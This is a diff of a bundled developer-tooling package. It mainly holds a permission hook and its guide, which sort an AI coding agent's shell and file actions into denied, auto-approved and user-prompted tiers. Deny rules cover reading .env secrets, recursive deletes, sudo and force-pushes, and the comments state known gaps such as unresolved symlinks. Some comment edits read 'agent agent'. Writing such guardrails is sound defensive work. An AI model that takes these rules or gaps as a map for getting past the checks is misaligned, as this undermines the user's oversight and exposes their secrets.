SHELL_UNSAFE_FLAGS.has(t)) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c with extra flags\"\n };\n }\n const cmdArg = tokens[cIdx + 1];\n if (!cmdArg) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c without command\"\n };\n if (tokens.length > cIdx + 2) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c with positional args\"\n };\n if (cIdx !== 1) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c with extra flags\"\n };\n return evaluateCommand(cmdArg, {\n ...ctx,\n depth: ctx.depth + 1\n });\n}\n/** xargs flags that consume the next token as an argument */\nconst XARGS_ARG_FLAGS = /* @__PURE__ */ new Set([\n \"-I\",\n \"-d\",\n \"-n\",\n \"-P\",\n \"-s\",\n \"-L\",\n \"-E\",\n \"-a\",\n \"--max-args\",\n \"--max-procs\",\n \"--delimiter\",\n \"--replace\",\n \"--max-lines\",\n \"--max-chars\",\n \"--arg-file\",\n \"--process-slot-var\"\n]);\n/** xargs flags that are boolean (no argument) */\nconst XARGS_BOOL_FLAGS = /* @__PURE__ */ new Set([\n \"-0\",\n \"--null\",\n \"-t\",\n \"--verbose\",\n \"-r\",\n \"--no-run-if-empty\",\n \"-p\",\n \"--interactive\",\n \"-x\",\n \"--exit\",\n \"--show-limits\"\n]);\n/**\n* Evaluate `xargs <cmd>` commands.\n*\n* Skips xargs flags to find the inner command, then recursively evaluates it.\n* Passthrough if no command follows the flags or if unrecognised flags are found.\n*/\nfunction evaluateXargs(tokens, ctx) {\n let i = 1;\n while (i < tokens.length) {\n const t = tokens[i];\n if (!t.startsWith(\"-\")) break;\n if (XARGS_ARG_FLAGS.has(t)) {\n i += 2;\n continue;\n }\n const eqIdx = t.indexOf(\"=\");\n if (eqIdx !== -1) {\n const flagName = t.slice(0, eqIdx);\n if (XARGS_ARG_FLAGS.has(flagName)) {\n i++;\n continue;\n }\n }\n if (t.length > 2 && XARGS_ARG_FLAGS.has(t.slice(0, 2))) {\n i++;\n continue;\n }\n if (XARGS_BOOL_FLAGS.has(t)) {\n i++;\n continue;\n }\n return {\n action: \"passthrough\",\n rule: null,\n reason: \"xargs with unrecognised flags\"\n };\n }\n if (i >= tokens.length) return {\n action: \"passthrough\",\n rule: null,\n reason: \"xargs without command\"\n };\n return evaluateCommand(joinTokens(tokens.slice(i)), {\n ...ctx,\n depth: ctx.depth + 1\n });\n}\n\n//#endregion\n//#region src/file-rules.ts\nconst READ_TOOLS = /* @__PURE__ */ new Set([\n \"Read\",\n \"Glob\",\n \"Grep\"\n]);\nconst WRITE_TOOLS = /* @__PURE__ */ new Set([\"Write\", \"Edit\"]);\n/**\n* The harness directs every temporary file to a per-session scratchpad under\n* the system temp directory, so denying it puts the hook at odds with the\n* prompt it ships beside.\n*\n* Matching the session id as a path segment rather than reconstructing the\n* documented full path is deliberate: the reconstruction encodes several\n* harness conventions, and when one changes it fails silently back to denying\n* every scratchpad write. The id arrives in the same payload as the path, so\n* the reach is one session's own temp tree.\n*\n* The payload schema only requires a string, so a degenerate id (empty, or a\n* couple of characters) would match as a path segment of nearly every path\n* under the temp directory and widen the allow to all of it. Real ids are\n* UUIDs; the length floor bounds the blast radius by construction rather than\n* trusting the harness to always produce one.\n*\n* `isWithin` compares lexically and does not resolve symlinks, so a symlink\n* planted inside the scratchpad pointing outside it is not caught. That\n* residual is accepted deliberately, the same as the cwd-scoped rules below --\n* the hook is a guardrail against accidents and prompt fatigue, not a sandbox.\n*/\nfunction isSessionScratch(filePath, ctx) {\n const { sessionId } = ctx;\n if (!sessionId || sessionId.length < MIN_SESSION_ID_LENGTH) return false;\n const resolved = resolveIn(ctx.cwd, filePath);\n if (!isWithin(os.tmpdir(), resolved)) return false;\n return resolved.split(path.sep).includes(sessionId);\n}\n/** Real session ids are UUIDs; see the length-floor rationale above. */\nconst MIN_SESSION_ID_LENGTH = 16;\nconst fileDenyRules = [\n {\n name: \"env-file-read\",\n tools: READ_TOOLS,\n action: \"deny\",\n when: (filePath) => isEnvFile(filePath),\n reason: \"Don't read .env files. These contain secrets that should not appear in the conversation.\"\n },\n {\n name: \"env-file-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath) => isEnvFile(filePath),\n reason: \"Don't write to .env files. These contain secrets.\"\n },\n {\n name: \"hooks-folder-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => {\n const resolved = resolveIn(ctx.cwd, filePath);\n return isWithin(path.join(ctx.cwd, \".claude\", \"hooks\"), resolved);\n },\n reason: \"Don't write to .claude/hooks/. These files are managed by the project and should not be modified directly.\"\n },\n {\n name: \"git-dir-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => targetsGitDir(filePath, ctx.cwd),\n reason: \"Don't write into .git/ directly. Its internals (config, hooks, refs) are not plain project files -- a config edit can redirect remotes or push destinations that other rules trust, and a hooks/ script runs automatically on the next commit/push. Use git subcommands instead, or ask the user.\"\n },\n {\n name: \"node-modules-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => targetsNodeModules(filePath, ctx.cwd),\n reason: \"Don't write into node_modules/. Its files are hardlinks into pnpm's global store -- editing one in place corrupts that package for every project on this machine. Edit the source package and rebuild, or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`).\"\n },\n {\n name: \"claude-settings-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => {\n return samePath(resolveIn(ctx.cwd, filePath), path.join(ctx.cwd, \".claude\", \"settings.json\"));\n },\n reason: \"Don't write to .claude/settings.json. This file is managed by the project and should not be modified directly.\"\n },\n {\n name: \"outside-cwd-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => {\n const resolved = resolveIn(ctx.cwd, filePath);\n if (isWithin(ctx.cwd, resolved)) return false;\n if (isWithin(path.join(os.homedir(), \".claude\"), resolved)) return false;\n if (isSessionScratch(filePath, ctx)) return false;\n return true;\n },\n reason: \"Don't write files outside the project directory.\"\n }\n];\nconst fileAllowRules = [\n {\n name: \"session-scratchpad-read\",\n tools: READ_TOOLS,\n action: \"allow\",\n when: (filePath, ctx) => isSessionScratch(filePath, ctx)\n },\n {\n name: \"session-scratchpad-write\",\n tools: WRITE_TOOLS,\n action: \"allow\",\n when: (filePath, ctx) => isSessionScratch(filePath, ctx)\n },\n {\n name: \"cwd-read\",\n tools: READ_TOOLS,\n action: \"allow\",\n when: (filePath, ctx) => isWithin(ctx.cwd, resolveIn(ctx.cwd, filePath))\n },\n {\n name: \"cwd-write\",\n tools: WRITE_TOOLS,\n action: \"allow\",\n when: (filePath, ctx) => isWithin(ctx.cwd, resolveIn(ctx.cwd, filePath))\n }\n];\n\n//#endregion\n//#region src/evaluate-tool.ts\n/** Tools whose input contains a `file_path` field. */\nconst FILE_PATH_TOOLS = /* @__PURE__ */ new Set([\n \"Read\",\n \"Write\",\n \"Edit\"\n]);\n/** Tools whose input contains a `path` field (search root, optional). */\nconst SEARCH_TOOLS = /* @__PURE__ */ new Set([\"Glob\", \"Grep\"]);\n/**\n* Extract the relevant file path from tool input based on tool name.\n* Returns null if the input shape doesn't match expectations.\n*/\nfunction extractPath(toolName, toolInput, cwd) {\n if (FILE_PATH_TOOLS.has(toolName)) return parseFilePathInput(toolInput)?.file_path ?? null;\n if (SEARCH_TOOLS.has(toolName)) return parseSearchInput(toolInput)?.path ?? cwd;\n return null;\n}\n/**\n* Evaluate a non-Bash tool invocation against file-tool rules.\n* Returns allow, deny, or passthrough.\n*/\nfunction evaluateToolUse(toolName, toolInput, ctx) {\n const filePath = extractPath(toolName, toolInput, ctx.cwd);\n if (filePath === null) return {\n action: \"passthrough\",\n rule: null,\n reason: \"unknown tool input shape\"\n };\n for (const rule of fileDenyRules) if (rule.tools.has(toolName) && rule.when(filePath, ctx)) return {\n action: \"deny\",\n rule: rule.name,\n reason: rule.reason ?? null\n };\n for (const rule of fileAllowRules) if (rule.tools.has(toolName) && rule.when(filePath, ctx)) return {\n action: \"allow\",\n rule: rule.name,\n reason: null\n };\n return {\n action: \"passthrough\",\n rule: null,\n reason: \"no file rule matched\"\n };\n}\n\n//#endregion\n//#region src/index.ts\nconst inputResult = await readHookInput();\nif (!inputResult.ok) {\n process.stderr.write(`[bst-hook] invalid hook input: ${inputResult.error}\\n`);\n audit({\n sessionId: \"unknown\",\n cwd: \"unknown\",\n command: `<invalid input: ${inputResult.error}>`,\n decision: \"passthrough\",\n rule: null,\n reason: `validation failed: ${inputResult.error}`\n });\n process.exit(0);\n}\nconst input = inputResult.data;\nif (input.hook_event_name !== \"PreToolUse\") process.exit(0);\nif (!(/* @__PURE__ */ new Set([\n \"Bash\",\n \"Read\",\n \"Write\",\n \"Edit\",\n \"Glob\",\n \"Grep\"\n])).has(input.tool_name)) process.exit(0);\nconst repoSettings = loadRepoSettings(input.cwd);\nlet decision;\nlet auditCommand;\nif (input.tool_name === \"Bash\") {\n const bashInput = parseBashInput(input.tool_input);\n if (!bashInput) {\n audit({\n sessionId: input.session_id,\n cwd: input.cwd,\n toolName: input.tool_name,\n command: `<invalid Bash input: ${JSON.stringify(input.tool_input).slice(0, 200)}>`,\n decision: \"passthrough\",\n rule: null,\n reason: \"Bash tool_input missing or invalid 'command' field\"\n });\n process.exit(0);\n }\n decision = evaluateCommand(bashInput.command, {\n cwd: input.cwd,\n depth: 0,\n repoAllowPatterns: repoSettings.allow,\n repoProtectedBranches: repoSettings.protectedBranches\n });\n auditCommand = bashInput.command;\n} else {\n const projectDir = findWorkspaceRoot(input.cwd) ?? process.env[\"CLAUDE_PROJECT_DIR\"] ?? input.cwd;\n decision = evaluateToolUse(input.tool_name, input.tool_input, {\n cwd: projectDir,\n sessionId: input.session_id\n });\n const filePath = String(input.tool_input[\"file_path\"] ?? input.tool_input[\"path\"] ?? \"\");\n auditCommand = `${input.tool_name} ${filePath}`;\n}\naudit({\n sessionId: input.session_id,\n cwd: input.cwd,\n toolName: input.tool_name,\n command: auditCommand,\n decision: decision.action,\n rule: decision.rule,\n reason: decision.reason\n});\nif (decision.action === \"allow\") writeDecision(\"allow\", decision.advice);\nelse if (decision.action === \"deny\") writeDecision(\"deny\", decision.reason);\n\n//#endregion\nexport { };", "bst-hook.mjs"), writeIfChanged(ctx, GUIDE_PATH, "# bst-hook Permission Guide\n\nThis project uses a PreToolUse hook (`bst-hook`) that evaluates Bash commands\nand file tool operations before execution. Commands fall into three tiers:\n\n- **Denied** -- blocked with a redirect message\n- **Allowed** -- auto-approved, no prompt\n- **Passthrough** -- falls through to Claude Code's normal permission prompt\n\nAn allow may additionally carry a non-blocking advisory -- e.g. creating a feature branch\nin the primary worktree suggests using a `git worktree` instead. It never blocks; the\ntiers above are unchanged.\n\n## Denied commands\n\nThese are blocked. The hook tells you what to do instead.\n\n### Bash\n\n- **rm-recursive**: Don't use recursive `rm`. Use more targeted deletes, or remove specific files/directories.\n- **sudo**: Don't use sudo. If you need elevated permissions, ask me to do it manually.\n- **git-force-push**: Use `git push --force-with-lease` instead of `--force`.\n- **git-reset-hard**: Don't `reset --hard` on main. Create a branch first.\n- **git-discard-changes**: `-f` / `--discard-changes` throws uncommitted changes away, and nothing reports what was lost. Save them first -- `git stash push` is auto-approved -- then `git switch <branch>` and `git stash pop`. If the changes belong on the target branch, plain `git switch <branch>` carries them over. Ask the user before discarding anything.\n- **git-bare-checkout**: Use `git switch <branch>` to change branches -- unlike `checkout` it cannot discard uncommitted file changes, and it is auto-approved. To create a branch: `git switch -c <branch>` (or `git checkout -b <branch>`). To restore a file, name the path after a `--` separator (`git restore [--source <ref>] -- <path>`, or `git checkout [<ref>] -- <path>`); both prompt rather than being auto-approved.\n- **git-protected-branch-write**: Not auto-approved on a protected branch. Create a feature branch first -- `git switch -c <branch>` is auto-approved, and commit/merge/rebase/cherry-pick/revert/reset are auto-approved once you are on it. To push from there, `git push origin <branch>` with an explicit refspec.\n- **git-protected-branch-force-create**: Force-create (`switch -C`/`--force-create`, `checkout -B`, `worktree add -B`) doesn't just create a branch -- when the branch already exists it resets it to the start point (HEAD by default) and checks it out. To switch to this branch, plain `git switch <branch>` is auto-approved. To create a work branch, pick a non-protected name (`git switch -C <feature>` stays auto-approved). Resetting a protected branch to its origin state is the user's to run.\n- **git-write**: This git write isn't auto-approved. Working-tree and history operations are auto-approved on a feature branch (`git switch -c <branch>` first); a push needs an explicit refspec from one (`git push origin <branch>`). Writing forms of `tag` and `clean` have no auto-approved form (their listing and dry-run forms do -- `git tag -l`, `git clean -n`); `stash drop`, `git rm -r`, and anything carrying a config/exec-injection or repo-redirect flag have none at all. All of these need the user to run them.\n- **chmod-777**: Don't use 777 permissions. Use more restrictive permissions.\n- **node-modules-write**: Don't write into node_modules/. Its files are hardlinks into pnpm's global store, so overwriting one in place (plain `cp`, `>` redirect, `sed -i`, ...) writes through the link and corrupts that package for every project on this machine -- silently, since the directory you wrote into ends up fine. To test a local build as an installed dependency, run it directly (`node packages/<pkg>/dist/bin.mjs <cmd>`), or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`). If you must replace a file in place, `cp --remove-destination` is safe -- it unlinks the target first. Run `pnpm store status` to check whether the store is already damaged.\n- **env-file-read**: Don't read .env files. These contain secrets that should not appear in the conversation.\n- **npx-redirect**: This project uses pnpm. Use `pnpm dlx <pkg>` or `pnpm exec <cmd>` instead of npx.\n\n### File tools (Read, Write, Edit, Glob, Grep)\n\n- **env-file-read**: Don't read .env files. These contain secrets that should not appear in the conversation.\n- **env-file-write**: Don't write to .env files. These contain secrets.\n- **hooks-folder-write**: Don't write to .claude/hooks/. These files are managed by the project and should not be modified directly.\n- **git-dir-write**: Don't write into .git/ directly. Its internals (config, hooks, refs) are not plain project files -- a config edit can redirect remotes or push destinations that other rules trust, and a hooks/ script runs automatically on the next commit/push. Use git subcommands instead, or ask the user.\n- **node-modules-write**: Don't write into node_modules/. Its files are hardlinks into pnpm's global store -- editing one in place corrupts that package for every project on this machine. Edit the source package and rebuild, or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`).\n- **claude-settings-write**: Don't write to .claude/settings.json. This file is managed by the project and should not be modified directly.\n- **outside-cwd-write**: Don't write files outside the project directory.\n\n## Auto-approved commands\n\nThese run without prompting.\n\n### Bash\n\n- **Test runners**: vitest, jest\n- **Type checking**: tsc\n- **Build tools**: tsdown\n- **Tooling CLI**: bst (checks:run, hooks:audit, docker:build, docker:check, repo:sync), bst-agent (the agent package's bin: every safe bst subcommand, plus agent:repair-candidates and agent:transcript. agent:start prompts)\n- **Linters & formatters**: oxlint, oxfmt, eslint, prettier, biome, knip\n- **Read-only commands**: cat, head, tail, grep, ls, wc, uniq, diff, echo, pwd, which, dirname, basename, realpath\n- **Package managers (read-only)**: npm (view, info, show only)\n- **Shell builtins**: test, bracket-test\n- **Navigation**: cd, true, colon\n- **Conditional commands**: find (without -exec, -delete), sort (without -o / --output)\n- **Git read operations**: git (status, log, diff, show, blame, branch, remote, fetch, rev-parse, etc.)\n- **Git read-only forms of write verbs**: git-read-only-form (`--help` immediately after any subcommand (not `-h` -- an alias still runs with it); `git tag` listing forms (bare, -l/--list, --points-at, --contains, --merged, --sort, --format); `git clean -n`/`--dry-run` without -f. Writing forms of tag and clean stay denied)\n- **Git safe writes**: git-safe-write (add, `switch <branch>` (existing branch), switch -c/-C (new branch), checkout -b/-B (new branch), stash push/pop/apply/show, mv (docs/*.md only), worktree list/add (remove/prune/move prompt -- they can delete uncommitted work). -C/-B/--force-create onto a protected branch name (main/master/default, or repo-configured) is denied instead of created, since it resets an existing branch rather than merely creating one. switch/checkout otherwise auto-approve only with recognized non-discarding flags: -f/--discard-changes discards uncommitted work and is denied, any other flag prompts)\n- **Git writes (feature branches)**: git-feature-branch-write (commit, merge, rebase, cherry-pick, revert, reset (only when current branch is not main/master/default; push is never auto-approved))\n- **Git push (feature branches)**: git-safe-push (push with an explicit refspec (e.g. `git push origin feat/x`) from a non-protected branch to a non-protected destination on a configured remote (--force-with-lease ok; --force, --tags, --delete, --mirror, and pushes to main are not). A push with no refspec (bare `git push` / `git push <remote>`) is never auto-approved -- its destination comes from push.default/upstream config, which is not resolved here)\n- **pnpm (safe built-ins)**: pnpm (list, why, view, info, show, outdated, install (bare only))\n- **File operations (within project)**: cp (paths must be within project directory), mkdir (paths must be within project directory), touch (paths must be within project directory), mv-docs (mv only between docs/*.md paths (plan-lifecycle moves)), sed-docs (sed only on docs/*.md files (plan-lifecycle edits))\n\n### File tools\n\n- **Read/Glob/Grep**: the per-session scratchpad under the system temp directory\n- **Write/Edit**: the per-session scratchpad under the system temp directory\n- **Read/Glob/Grep**: Allowed within project directory\n- **Write/Edit**: Allowed within project directory\n\n## Passthrough\n\nEverything not listed above triggers Claude Code's normal permission prompt.\nCommon examples:\n\n- `pnpm add <pkg>`, `pnpm dlx <pkg>` (dependency changes)\n- `mv`, `git mv` (file moves outside `docs/*.md`)\n- `git rm` (without `-r`)\n- `node`, `npx` scripts\n- Commands with output redirection (`> file`)\n- Any unrecognized command\n\n## How commands are evaluated\n\n- **Pipelines and chains**: every segment must be allowed; any deny blocks the whole command.\n- **pnpm scripts**: `pnpm <script>` resolves against `package.json` (including pre/post hooks and `--filter` workspaces) and evaluates the resolved command recursively.\n- **cd propagation**: `cd dir && cmd` evaluates `cmd` relative to the new directory.\n- **Audit log**: all decisions are logged to `.claude/hooks/bst-hook.audit.local.jsonl`.\n", "bst-hook-guide.md")];
7646
7646
  }
7647
7647
  //#endregion
7648
7648
  //#region src/generators/claude-settings.ts
@@ -8663,7 +8663,7 @@ function reportFailures(failed, command) {
8663
8663
  function generateMigratePrompt(results, config, detected) {
8664
8664
  const sections = [];
8665
8665
  const timestamp = (/* @__PURE__ */ new Date()).toISOString();
8666
- sections.push(`# Migration Prompt\n\n_Generated by \`@bensandee/tooling@0.72.1 repo:sync\` on ${timestamp}_\n`);
8666
+ sections.push(`# Migration Prompt\n\n_Generated by \`@bensandee/tooling@0.72.2 repo:sync\` on ${timestamp}_\n`);
8667
8667
  const changed = results.filter((r) => r.action === "created" || r.action === "updated" || r.action === "archived");
8668
8668
  if (changed.length > 0) {
8669
8669
  const items = changed.map((r) => {
@@ -9017,7 +9017,7 @@ function readTopLevelName(absPath) {
9017
9017
  //#endregion
9018
9018
  //#region src/docker-check/sweep.ts
9019
9019
  /** A disposable resource this tooling created and is entitled to reclaim -- written onto
9020
- * every container and network the check harness creates, and, since the agent daemon
9020
+ * every container and network the check harness creates, and, since the agent agent
9021
9021
  * labels its own per-run containers, sidecar and network the same way, onto those too.
9022
9022
  * The value must stay exactly `1`: {@link isHarnessContainer} compares it as a string. */
9023
9023
  const CI_LABEL = "com.bensandee.ci";
@@ -9132,9 +9132,9 @@ function selectSweepNetworks(candidates, guards) {
9132
9132
  });
9133
9133
  }
9134
9134
  /**
9135
- * Every network carrying `CI_LABEL` -- the agent daemon's per-run network has no compose
9135
+ * Every network carrying `CI_LABEL` -- the agent agent's per-run network has no compose
9136
9136
  * project, so {@link resourceIds}'s project-scoped pass cannot reach it; this is that
9137
- * network's only reclamation route. A degraded (empty or unhappy) daemon returns `[]`, the
9137
+ * network's only reclamation route. A degraded (empty or unhappy) agent returns `[]`, the
9138
9138
  * same no-op the container listing above degrades to, never a throw.
9139
9139
  */
9140
9140
  function listLabelledNetworks(executor) {
@@ -9190,7 +9190,7 @@ function resourceIds(executor, kind, project) {
9190
9190
  * projects they belonged to.
9191
9191
  *
9192
9192
  * Never throws: a sweep runs ahead of the work the caller actually wants done, so a
9193
- * daemon that is unreachable, or a resource another process removed first, degrades to
9193
+ * agent that is unreachable, or a resource another process removed first, degrades to
9194
9194
  * a logged no-op rather than failing the check.
9195
9195
  *
9196
9196
  * `rm -f -v` rather than `rm -f`: the anonymous volumes attached to a leaked container
@@ -10354,7 +10354,7 @@ const DEFAULT_RETRY_POLICY = {
10354
10354
  /**
10355
10355
  * Per-request wall-clock timeout for every forge fetch -- a backstop against an *infinite* hang,
10356
10356
  * not a tight SLA. `globalThis.fetch` has no timeout, so a stalled keep-alive socket (the peer
10357
- * sent FIN but never answers) makes a request neither resolve nor reject: the daemon then hangs
10357
+ * sent FIN but never answers) makes a request neither resolve nor reject: the agent then hangs
10358
10358
  * forever on it, and `retryOnTransient` cannot help because it only catches *thrown* errors, not
10359
10359
  * an indefinite stall. This was the root cause of "the loop stalls when a task fails" -- the
10360
10360
  * stall lands on `unclaimOnError`'s non-retried failure-comment POST. Generous (healthy forge
@@ -10597,9 +10597,9 @@ const commandLine = (file, args) => [file, ...args].join(" ");
10597
10597
  /**
10598
10598
  * The subprocess/network half of the executor, each call traced through `logger` -- a `->` line
10599
10599
  * before it starts, `[ok] (Nms)` after it settles, `[x] (reason, Nms)` on throw -- all at the `trace`
10600
- * level, silent unless `--trace`/`TOOLING_TRACE` is on. This is the daemon's black-box recorder:
10600
+ * level, silent unless `--trace`/`TOOLING_TRACE` is on. This is the agent's black-box recorder:
10601
10601
  * because a **synchronous** `exec` that blocks freezes the whole event loop (no async watchdog can
10602
- * fire), the pre-call `->` line is the only breadcrumb that survives a git wedge. The daemon passes a
10602
+ * fire), the pre-call `->` line is the only breadcrumb that survives a git wedge. The agent passes a
10603
10603
  * per-cycle child logger so each line inherits its `[tooling #310 PR#312 execute]` context; the logger redacts
10604
10604
  * command args and fetch URLs itself (a single redaction point). Split out to keep
10605
10605
  * {@link createRealExecutor} under the function-length cap.
@@ -10907,7 +10907,7 @@ const PullListItemSchema = z.object({
10907
10907
  * {@link PULLS_MAX_PAGES}, whichever comes first.
10908
10908
  *
10909
10909
  * The one paged PR listing: `branch:prune` reads it to completion because it decides over the whole
10910
- * set, and the agent daemon passes `stopWhen` to answer "does a pull request already exist on this
10910
+ * set, and the agent agent passes `stopWhen` to answer "does a pull request already exist on this
10911
10911
  * head, in any state" at the cost of one page in the common case (Forgejo lists recently touched
10912
10912
  * pull requests first). That existence question is the reason this exists alongside
10913
10913
  * {@link findOpenPr}: a caller deciding whether to CREATE must not ask an open-only question, since
@@ -12173,7 +12173,7 @@ async function readCommitChecks(executor, conn, sha) {
12173
12173
  * mergeable, and the check that its head SHA is actually green are one concern, and one home for
12174
12174
  * them beats a caller reaching two files for a decision it must make atomically.
12175
12175
  *
12176
- * `readMergeGate`'s live `open`/`draft`/`mergeable` read exists because the daemon's own
12176
+ * `readMergeGate`'s live `open`/`draft`/`mergeable` read exists because the agent's own
12177
12177
  * `agent/implement-mergeable` label is named `-mergeable`, not `-ready`, precisely because merging
12178
12178
  * is the human handoff -- this module is what inverts that on purpose, behind automerge's two
12179
12179
  * arming gates (`agent-flags/autopilot` and `--automerge`), and re-reads the forge rather than
@@ -12317,7 +12317,7 @@ function headShaOrThrow(verdict) {
12317
12317
  if (verdict.retryable) throw new TransientError(verdict.reason);
12318
12318
  throw new FatalError(verdict.reason);
12319
12319
  }
12320
- /** How long the confirming read waits after a first `unconfirmed` reading, matching the daemon's
12320
+ /** How long the confirming read waits after a first `unconfirmed` reading, matching the agent's
12321
12321
  * own consecutive-observations rule (`MAX_CONFLICT_OBSERVATIONS = 2` in
12322
12322
  * `packages/agent/src/landing-merge.ts`) so both callers answer "is this really a conflict?" the
12323
12323
  * same way: two observations total, not one and not three. */
@@ -12697,7 +12697,7 @@ async function commitMessages(executor, cwd, ref, signal = null) {
12697
12697
  * Push the branch and create or update its pull request, as {@link PrUpsertMode} permits.
12698
12698
  *
12699
12699
  * Backs `bst pr:create` (mode `"create"`), `bst pr:update` (mode `"update"`), and the agent
12700
- * daemon's `createRunPr` (mode `"upsert"`). One function rather than two because everything up to
12700
+ * agent's `createRunPr` (mode `"upsert"`). One function rather than two because everything up to
12701
12701
  * the existing-PR lookup -- protected-branch guard, base resolution, commit reads, content
12702
12702
  * derivation, push -- is identical, and the two commands differ only in which side of that lookup
12703
12703
  * they accept.
@@ -12814,9 +12814,9 @@ function assertModeAllows(mode, existing, branch) {
12814
12814
  * accidental one cannot do it at all.
12815
12815
  *
12816
12816
  * Check 2 needs the previous body, so it is skipped when `previousBody` is null -- a create, where
12817
- * there is no previous body. That used to include the daemon's full-patch update too (see
12818
- * {@link planUpdate}), on the reasoning that the daemon's body builder always ends in a `Closes #<n>` line; it
12819
- * no longer does, now that `managedBodyMarkers` routes the daemon's update through
12817
+ * there is no previous body. That used to include the agent's full-patch update too (see
12818
+ * {@link planUpdate}), on the reasoning that the agent's body builder always ends in a `Closes #<n>` line; it
12819
+ * no longer does, now that `managedBodyMarkers` routes the agent's update through
12820
12820
  * {@link planManagedUpdate}, which always reads live and so always has a `previousBody`. Check 2
12821
12821
  * cannot fire on that path by construction rather than by exemption: both the managed row and the
12822
12822
  * preserve row carry forward every closing reference the previous body made that the new one drops
@@ -12857,7 +12857,7 @@ function checkClosingLinks(messages, plan, allowUnlink) {
12857
12857
  * and `agent/run.ts`'s `finalizeRun` routes PR-mode around `createRunPr` for the same reason.
12858
12858
  * This was the one path that violated it.
12859
12859
  *
12860
- * The daemon is unaffected by construction: `createRunPr` passes both fields on every phase, so
12860
+ * The agent is unaffected by construction: `createRunPr` passes both fields on every phase, so
12861
12861
  * its patch is full and its behaviour is byte-identical to before.
12862
12862
  *
12863
12863
  * The live read happens for either of two reasons, and is skipped only when neither applies:
@@ -12874,13 +12874,13 @@ function checkClosingLinks(messages, plan, allowUnlink) {
12874
12874
  * Which leaves one caller genuinely reading nothing: a full patch with a stated draft intent and no
12875
12875
  * `managedBodyMarkers`. Its request count and its behaviour are both unchanged by all of this.
12876
12876
  *
12877
- * A caller that DOES supply `managedBodyMarkers` -- the daemon, the only reachable one -- always
12877
+ * A caller that DOES supply `managedBodyMarkers` -- the agent, the only reachable one -- always
12878
12878
  * reads live regardless of what else it supplied: deciding ownership needs the live body, and there
12879
12879
  * is no cheaper source. That routes it to {@link planManagedUpdate} instead of the derive-and-patch
12880
12880
  * logic below -- ownership is decided from the live body's own prefix, a managed body gets today's
12881
12881
  * patch, and an unmarked (adopted) one is preserved outright, with the WIP marker and the closing
12882
12882
  * reference reconciled rather than the whole body replaced. Its `previousBody` is therefore never
12883
- * null, so {@link runPrUpsert}'s lost-link check runs on the daemon's path now instead of being
12883
+ * null, so {@link runPrUpsert}'s lost-link check runs on the agent's path now instead of being
12884
12884
  * exempted from it -- see {@link checkClosingLinks} for why that exemption is gone rather than just
12885
12885
  * narrowed.
12886
12886
  */
@@ -12907,12 +12907,12 @@ async function planUpdate(executor, input) {
12907
12907
  }
12908
12908
  /**
12909
12909
  * Resolve an update whose caller supplied {@link PrUpsertOptions.managedBodyMarkers} -- the
12910
- * daemon's path, the only reachable one. Ownership is decided from the live body: it starts with
12910
+ * agent's path, the only reachable one. Ownership is decided from the live body: it starts with
12911
12911
  * one of the markers (a **prefix** match, the same "quoting is not ownership" reason
12912
12912
  * `isAgentComment` in `agent/feedback-window.ts` gives for the same shape) or it does not.
12913
12913
  *
12914
12914
  * **Managed row**: today's patch -- the derived title and body -- plus any closing reference the
12915
- * live body carries that the derived one does not, so a human's `Fixes #77` added since the daemon
12915
+ * live body carries that the derived one does not, so a human's `Fixes #77` added since the agent
12916
12916
  * last wrote this body survives the replacement. A field the caller did not supply is not on this
12917
12917
  * row at all: it falls to the preserve treatment below, mirroring {@link planUpdate}'s own `retitle`
12918
12918
  * guard. That guard IS the fix for the PRs whose descriptions a derived title once overwrote, and
@@ -13014,7 +13014,7 @@ async function readGitHubPrContent(executor, cwd, prNumber, signal = null) {
13014
13014
  }
13015
13015
  /**
13016
13016
  * Apply an injected forge token to a resolved connection. `resolveConnection` reads only the
13017
- * ambient RELEASE_TOKEN/FORGEJO_TOKEN, so a caller acting under a different identity (the daemon's
13017
+ * ambient RELEASE_TOKEN/FORGEJO_TOKEN, so a caller acting under a different identity (the agent's
13018
13018
  * bot) passes its token here to author the PR object as that identity -- matching the branch push,
13019
13019
  * which `buildGitAuthEnv` already authenticates with the same token. No token = ambient, unchanged.
13020
13020
  */
@@ -13665,7 +13665,7 @@ function labelScope(name) {
13665
13665
  * (`bug`) owns nothing and falls under nothing, which is what keeps a repo's ordinary labels out of
13666
13666
  * the report in both directions.
13667
13667
  *
13668
- * Deliberately not a field on {@link LabelAudit}: the daemon audits against its *required* subset,
13668
+ * Deliberately not a field on {@link LabelAudit}: the agent audits against its *required* subset,
13669
13669
  * so a staleness computed from the audit's own specs would report every ensured-but-not-required
13670
13670
  * label as a stray. A caller passes the full set it provisions from.
13671
13671
  */
@@ -13689,16 +13689,16 @@ function staleLabelNames(specs, live) {
13689
13689
  * Ensure every label in `specs` exists on the repo with the spec's color and description,
13690
13690
  * creating any that are missing and PATCHing any that {@link auditForgejoLabels} reports as
13691
13691
  * non-exclusive or cosmetically drifted. An ensure-loop like `ensureRelease`: instance label
13692
- * templates only apply at repo creation, so a repo the daemon has never touched has none of these.
13692
+ * templates only apply at repo creation, so a repo the agent has never touched has none of these.
13693
13693
  * Implemented over the audit so the two can never disagree about what "drifted" means.
13694
13694
  *
13695
13695
  * Reconciling existing labels (not just creating missing ones) is what backfills descriptions
13696
13696
  * onto labels created before they carried one -- the create-only version left every already-present
13697
- * label with whatever description it happened to have, so a repo the daemon had touched never
13697
+ * label with whatever description it happened to have, so a repo the agent had touched never
13698
13698
  * gained the self-documenting text.
13699
13699
  *
13700
13700
  * Returns the name->id map the audit already computed (existing labels plus any just created), so a
13701
- * caller that goes on to mutate labels for the same repo (the daemon's claim) can thread it
13701
+ * caller that goes on to mutate labels for the same repo (the agent's claim) can thread it
13702
13702
  * through `addForgejoIssueLabel` / `removeForgejoIssueLabel` and skip their own redundant list
13703
